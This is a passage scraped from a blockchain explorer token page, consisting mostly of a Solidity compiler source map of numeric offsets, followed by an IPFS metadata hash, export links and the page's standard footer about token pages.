248:18;;;4241:30;4307:34;4287:18;;;4280:62;-1:-1:-1;;;4358:18:2;;;4351:34;4402:19;;3940:93:1;4027:400:2;3940:93:1;-1:-1:-1;;;;;;4044:18:1;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;4098:4;;3806:304::o;4122:704::-;4297:4;;;-1:-1:-1;;;;;4297:11:1;;;:4;;;;;:11;-1:-1:-1;;4290:18:1;;;;;;;;;;4326:8;;-1:-1:-1;4326:8:1;;;:3;:8;;;;;;4323:208;;4358:4;;;;:21;;;;-1:-1:-1;4366:13:1;;;;4358:21;4355:122;;;4417:9;;-1:-1:-1;;;;;4402:8:1;;;;;;:3;:8;;;;;;:12;;4411:3;;4402:12;:::i;:::-;:24;4399:62;;;-1:-1:-1;4456:5:1;4449:12;;4399:62;4510:3;-1:-1:-1;;;;;4496:23:1;4505:3;-1:-1:-1;;;;;4496:23:1;;4515:3;4496:23;;;;1576:25:2;;1564:2;1549:18;;1430:177;4496:23:1;;;;;;;;4323:208;4555:3;;4549:9;;:3;:9;:::i;:::-;4543:3;:15;-1:-1:-1;;;;;4575:8:1;;;;;;:3;:8;;;;;;:13;;4571:61;;-1:-1:-1;;;;;4605:8:1;;;;;;:3;:8;;;;;:15;;4617:3;;4605:8;:15;;4617:3;;4605:15;:::i;:::-;;;;-1:-1:-1;;4571:61:1;4657:3;;4651;;:9;;;;:::i;:::-;4644:4;:16;;;4680:4;;;4673;:11;;-1:-1:-1;;;;;4680:4:1;;;-1:-1:-1;;;;;;4673:11:1;;;;;;;4697:10;;;;;;;;;4720:11;;;;:::i;:::-;4755:3;;4746:4;;-1:-1:-1;;;;;4746:4:1;4755:3;4742:9;;;:3;:9;;;;;:16;;4720:11;;-1:-1:-1;4755:3:1;;;;;4742:16;;4755:3;;4742:16;:::i;:::-;;;;-1:-1:-1;;;;;;;4769:8:1;;;;;;:3;:8;;;;;:15;;4781:3;;4769:8;:15;;4781:3;;4769:15;:::i;:::-;;;;-1:-1:-1;4804:4:1;;-1:-1:-1;;4122:704:1;;;;;;;;:::o;2937:173:0:-;2993:16;3012:6;;-1:-1:-1;;;;;3029:17:0;;;-1:-1:-1;;;;;;3029:17:0;;;;;;3062:40;;3012:6;;;;;;;3062:40;;2993:16;3062:40;2982:128;2937:173;:::o;14:548:2:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:2;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:2:o;1612:328::-;1689:6;1697;1705;1758:2;1746:9;1737:7;1733:23;1729:32;1726:52;;;1774:1;1771;1764:12;1726:52;1797:29;1816:9;1797:29;:::i;:::-;1787:39;;1845:38;1879:2;1868:9;1864:18;1845:38;:::i;:::-;1835:48;;1930:2;1919:9;1915:18;1902:32;1892:42;;1612:328;;;;;:::o;1945:186::-;2004:6;2057:2;2045:9;2036:7;2032:23;2028:32;2025:52;;;2073:1;2070;2063:12;2025:52;2096:29;2115:9;2096:29;:::i;2344:260::-;2412:6;2420;2473:2;2461:9;2452:7;2448:23;2444:32;2441:52;;;2489:1;2486;2479:12;2441:52;2512:29;2531:9;2512:29;:::i;:::-;2502:39;;2560:38;2594:2;2583:9;2579:18;2560:38;:::i;:::-;2550:48;;2344:260;;;;;:::o;2609:380::-;2688:1;2684:12;;;;2731;;;2752:61;;2806:4;2798:6;2794:17;2784:27;;2752:61;2859:2;2851:6;2848:14;2828:18;2825:38;2822:161;;2905:10;2900:3;2896:20;2893:1;2886:31;2940:4;2937:1;2930:15;2968:4;2965:1;2958:15;2822:161;;2609:380;;;:::o;2994:127::-;3055:10;3050:3;3046:20;3043:1;3036:31;3086:4;3083:1;3076:15;3110:4;3107:1;3100:15;3126:128;3193:9;;;3214:11;;;3211:37;;;3228:18;;:::i;4432:125::-;4497:9;;;4518:10;;;4515:36;;;4531:18;;:::i;4562:168::-;4635:9;;;4666;;4683:15;;;4677:22;;4663:37;4653:71;;4704:18;;:::i;4735:217::-;4775:1;4801;4791:132;;4845:10;4840:3;4836:20;4833:1;4826:31;4880:4;4877:1;4870:15;4908:4;4905:1;4898:15;4791:132;-1:-1:-1;4937:9:2;;4735:217::o

Swarm Source

ipfs://78aa994b5031efd4fda1552a1c15b7e667b45177819cc980d386e69a2c849cfc
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.